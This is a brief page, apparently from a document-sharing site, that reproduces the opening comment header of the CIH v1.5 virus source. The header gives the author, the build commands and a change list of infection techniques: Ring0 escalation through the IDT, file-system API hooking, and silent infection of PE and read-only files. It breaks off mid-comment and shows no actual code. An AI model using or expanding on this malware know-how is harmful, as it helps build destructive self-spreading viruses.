cihv1.5病毒原码概要1.docVIP

CIH V1.5版本病毒源码 ; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net * ; * Modification Time : 06/01/1998 Version : 1.5 * ; * * ; * Turbo Assembler Version 5.0 : Tasm /m cih * ; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; * Modification History * ; *==========================================================================* ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesnt Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesnt be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also dont be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; *